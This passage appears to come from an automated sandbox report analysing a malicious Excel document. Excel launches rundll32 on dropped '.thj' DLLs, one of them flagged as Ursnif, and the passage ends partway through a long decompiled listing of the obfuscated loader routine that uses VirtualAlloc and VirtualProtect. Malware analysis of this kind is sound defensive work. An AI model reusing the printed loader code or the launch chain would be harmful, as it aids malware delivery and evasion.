                                                                        Click to dive into process behavior distribution

                                                                        Behavior

                                                                        Click to jump to process

                                                                        System Behavior

                                                                        Analysis Process: EXCEL.EXE PID: 2400 Parent PID: 584

                                                                        General

                                                                        Start time:10:55:35
                                                                        Start date:07/04/2021
                                                                        Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        Wow64 process (32bit):false
                                                                        Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
                                                                        Imagebase:0x13fe40000
                                                                        File size:27641504 bytes
                                                                        MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 2316 Parent PID: 2400

                                                                        General

                                                                        Start time:10:55:45
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\System32\rundll32.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:rundll32 ..\fikftkm.thj,DllRegisterServer
                                                                        Imagebase:0xffc20000
                                                                        File size:45568 bytes
                                                                        MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 2324 Parent PID: 2400

                                                                        General

                                                                        Start time:10:55:46
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\System32\rundll32.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:rundll32 ..\fikftkm.thj1,DllRegisterServer
                                                                        Imagebase:0xffc20000
                                                                        File size:45568 bytes
                                                                        MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 2880 Parent PID: 2400

                                                                        General

                                                                        Start time:10:55:46
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\System32\rundll32.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:rundll32 ..\fikftkm.thj2,DllRegisterServer
                                                                        Imagebase:0xffc20000
                                                                        File size:45568 bytes
                                                                        MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 2920 Parent PID: 2880

                                                                        General

                                                                        Start time:10:55:46
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\SysWOW64\rundll32.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:rundll32 ..\fikftkm.thj2,DllRegisterServer
                                                                        Imagebase:0x630000
                                                                        File size:44544 bytes
                                                                        MD5 hash:51138BEEA3E2C21EC44D0932C71762A8
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, Author: Joe Security
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 1788 Parent PID: 2400

                                                                        General

                                                                        Start time:10:56:17
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\System32\rundll32.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:rundll32 ..\fikftkm.thj3,DllRegisterServer
                                                                        Imagebase:0xffc20000
                                                                        File size:45568 bytes
                                                                        MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Analysis Process: rundll32.exe PID: 2988 Parent PID: 2400

                                                                        General

                                                                        Start time:10:56:17
                                                                        Start date:07/04/2021
                                                                        Path:C:\Windows\System32\rundll32.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:rundll32 ..\fikftkm.thj4,DllRegisterServer
                                                                        Imagebase:0xffc20000
                                                                        File size:45568 bytes
                                                                        MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high

                                                                        Chronological Activities

                                                                        Disassembly

                                                                        Code Analysis

                                                                        Reset < >

                                                                          Analysis Process: rundll32.exe PID: 2920 Parent PID: 2880 rundll32.exeCOMMON

                                                                          Execution Graph

                                                                          Execution Coverage:11%
                                                                          Dynamic/Decrypted Code Coverage:100%
                                                                          Signature Coverage:50%
                                                                          Total number of Nodes:16
                                                                          Total number of Limit Nodes:1

                                                                          Graph

                                                                          execution_graph 1386 12709d 1387 1270aa 1386->1387 1388 1270b1 VirtualAlloc 1387->1388 1389 1270d6 1387->1389 1388->1389 1390 12710c VirtualProtect 1389->1390 1392 12713e 1389->1392 1390->1392 1391 127196 1394 1271ba 1391->1394 1396 125f16 1391->1396 1392->1391 1400 122a69 1392->1400 1398 125f56 1396->1398 1397 126b91 1397->1394 1398->1397 1399 126b55 VirtualProtect 1398->1399 1399->1397 1401 122ac9 GetPEB 1400->1401 1402 122a99 1400->1402 1403 122b60 1401->1403 1402->1391 1403->1391

                                                                          Executed Functions

                                                                          Function 00125F16, Relevance: 2.8, APIs: 1, Instructions: 1269memoryCOMMONCrypto
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 17 125f16-125fd2 21 126000-12610b 17->21 22 125fd4-125ffa 17->22 30 126141-126231 21->30 31 12610d-126140 21->31 22->21 36 126233-126253 30->36 37 12625c-1262e4 30->37 31->30 36->37 40 1262e6-126321 37->40 41 126324-126433 37->41 40->41 47 126435-126452 41->47 48 12645b-12653c 41->48 47->48 53 126565-12667a 48->53 54 12653e-12655c 48->54 59 1266a9-126713 53->59 60 12667c-1266a3 53->60 54->53 63 126ba9-126c27 59->63 64 126719-126791 59->64 60->59 71 126c2d-126c8f 63->71 69 126793-1267c3 64->69 70 1267c4-1267cf 64->70 69->70 72 1267d2-126841 70->72 77 126cb2-126d24 71->77 78 126c91-126ca9 71->78 80 126843-12686e 72->80 81 126871-126882 72->81 87 126d26-126d40 77->87 88 126d49-126e7b 77->88 78->77 80->81 81->72 82 126888-126984 81->82 95 126986-1269bb 82->95 96 1269be-126ac3 82->96 87->88 100 126ead-126ee6 88->100 101 126e7d-126eaa 88->101 95->96 112 126af5-126b88 VirtualProtect 96->112 113 126ac5-126af2 96->113 100->71 102 126eec-126f39 100->102 101->100 104 126f53-126f68 102->104 105 126f3b-126f4e call 124e1a call 122faf 102->105 105->104 117 126b91-126ba6 112->117 113->112 117->63
                                                                          C-Code - Quality: 75%
                                                                          			E00125F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(_t1002);
				 *_t1121 =  *_t1121 - _t1002;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 ^ _v16;
				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
				_v20 = 0;
				 *_t1130 =  *_t1130 | _t253;
				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
				_v20 = _t1020;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
				_t1023 = _v20;
				_t1131 =  &(_t1130[1]);
				 *_t1131 = _t684;
				_t1078 = _a4;
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 |  *_t1130;
				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 | _t268;
				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t689;
				_t273 = _t821 + 0x41c931; // 0x41c931
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t273;
				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t275 = _t1023;
				_v20 = _t821;
				_push(0 + _v16 + _t691);
				_t824 = _v20;
				_pop(_t692);
				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
				_pop( *_t280);
				_push(_v12);
				_pop(_t875);
				if(_t875 > _t692) {
					 *_t1131 = _t824 + 0x41ca9e;
					 *_t1131 =  *_t1131 & 0x00000000;
					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
					 *_t286 = _t692;
					_push(_v16);
					_pop( *_t288);
				}
				_pop( *_t289);
				_t945 = _v12;
				_v12 = _t692;
				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
				 *_t1131 =  *_t1131 ^ _t824;
				 *_t1131 =  *_t1131 + _t945;
				_v12 = 0;
				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
				 *_t1131 = _t824 + 0x41c856;
				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
				_v20 = _t1078;
				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
				_t1081 = _v20;
				_pop( *_t304);
				_t947 = 0 ^ _v20;
				_t879 = 0 ^  *_t1131;
				_t1132 = _t1131 - 0xfffffffc;
				if(_t1023 != _t1081) {
					 *_t1132 =  *_t1132 - _t1023;
					 *_t1132 =  *_t1132 ^ _t879;
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 + _t947;
					_v16 = 0;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t739;
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
					_t1139 = _t1132 - 0xfffffffc;
					 *_t317 = _t741;
					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v20);
					_pop(_t742);
					_t1045 = _t1023;
					_push(0);
					 *_t1139 = _t1045;
					_t906 = 0 ^  *(_t824 + 0x41c244);
					if(_t906 > _t742) {
						 *_t1139 =  *_t1139 ^ _t906;
						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
						 *_t1139 =  *_t1139 & 0x00000000;
						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
						_push(0);
						 *_t1139 = _t947;
						 *(_t824 + 0x41cf47) = 0 ^ _t797;
					}
					_pop( *_t326);
					_t969 = _v12;
					_t908 =  *_t1139;
					_t1140 = _t1139 - 0xfffffffc;
					do {
						asm("movsb");
						_v12 = 0;
						 *_t1140 =  *_t1140 + _t908;
						_v12 = _v12 & 0x00000000;
						 *_t1140 =  *_t1140 + _t969;
						 *_t1140 =  *_t1140 - _t969;
						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
						 *_t1140 =  *_t1140 ^ _t1112;
						 *_t1140 =  *_t1140 ^ _t744;
						 *_t1140 =  *_t1140 & 0x00000000;
						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
						_t1141 =  &(_t1140[1]);
						 *_t337 = _t746;
						_v20 = _v20 +  *_t1140;
						_push(_v20);
						_pop(_t747);
						_t1081 = _t1081;
						_v12 = _t747;
						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
							 *_t1141 = _t824 + 0x41c831;
							 *_t1141 = _t824 + 0x41c7fa;
							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
							_v16 = _t969;
							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
						}
						_pop( *_t352);
						_t969 = 0 + _v12;
						_t1140 = _t1141 - 0xfffffffc;
						_t908 =  *_t1141 - 1;
					} while (_t908 != 0);
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t969;
